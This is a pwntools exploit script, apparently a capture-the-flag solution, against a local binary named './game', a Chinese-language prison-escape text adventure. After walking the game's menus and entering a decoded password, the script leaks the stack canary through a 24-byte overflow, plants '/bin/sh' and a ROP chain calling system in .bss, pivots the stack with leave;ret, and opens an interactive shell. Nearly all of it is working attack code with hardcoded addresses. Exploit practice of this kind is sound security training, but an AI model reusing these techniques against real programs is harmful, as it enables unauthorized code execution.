1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
|
from pwn import *
io = process("./game") system_addr = 0x401265 pop_rdi_ret = 0x402bb3 bin_sh = 0x7ffff7b95e1a bss_addr = 0x4080C0 ret_addr = 0x40101a leave_ret_addr = 0x401337
pwd = '20161226'
def solve_awl(_recv, _send): io.recvuntil(_recv.encode()) if _send == "": io.sendline() else: io.sendline(_send)
def resolve(_times): for _ in range(_times): io.recvline() io.sendline()
solve_awl("1.开始游戏\n", "1") payload = b"/bin/sh\x00" + p64(ret_addr)*0x200 + p64(pop_rdi_ret) + p64(bss_addr) + p64(system_addr)
solve_awl("请输入你的名字:\n", payload) solve_awl("2.女\n", "1") solve_awl("2.打开柜子\n", "2") resolve(3) solve_awl("2.无视提醒打开它\n", "2") solve_awl("你终究是打开了这封信,那么就由我来告诉你一些事情吧。\n", "") resolve(1) solve_awl("但是当你打开了这封信,你可能就会想起我们又一次越狱失败了。\n", "") solve_awl("现在想不起所有的事情是很正常的反应,慢慢的,你就会记起一切。\n", "") solve_awl("如果你想逃离这里,我把线索藏在了你自己的衣服里。\n", "") resolve(5) solve_awl("2.气恼地撕开衣服\n", "2") solve_awl("而布条上分布着星星和横杠。", "") solve_awl("**---,-----,*----,-****,*----,**---,**---,-****\n", "") solve_awl("8位数字密码:", pwd) solve_awl("寻找密码可以用上的地方。\n", "") resolve(2)
payload = b"A" * 24 solve_awl("密码:", payload)
a = io.recvuntil(b"A" * 24+b"\n") canary = u64(io.recv(7).rjust(8,b'\x00'))
print("canary ====> " + hex(canary))
io.sendline() resolve(4) solve_awl("(虽然我个人建议你往回走,毕竟这里什么也没有。)\n", "3") resolve(6) solve_awl("他们有的正在日常起居饮食,有的则在为自己接上充电插口,还有的和他一样离开了房间。\n", "") resolve(2) solve_awl("(你现在乖乖听话回到你的房间里,那么我们还会帮你消除你的记忆,这一切都可以当做没有发生。)\n", "") solve_awl("(504号,虽然不知道你是怎么逃脱你的房间的,我还是发自内心的请求你回去。越走下去,你只会越孤独。)\n", "") solve_awl("2.返回房间\n", "3") resolve(2) solve_awl("一台终端开始和他对话起来。\n", "") solve_awl("(为了奖励你的贡献,我可以告诉你一切。)\n", "") resolve(5) solve_awl("(甚至你们中的很大一部分越狱者并没有真正意识到自己仍然被囚禁着。)\n", "") solve_awl("(很多合成人被困在那里,不过智慧的你可能并没有到达过那里。)\n", "") solve_awl("(最后,我们人类非常感谢你为这个观察中心取得的突破。)\n", "") solve_awl("(但是他们都是些专业学者,并不会让你产生太多痛苦。)\n", "") resolve(5)
io.recvline()
payload2 = b"A" * 24 + p64(canary) + p64(bss_addr) + p64(leave_ret_addr)
io.send(payload2)
io.interactive()
|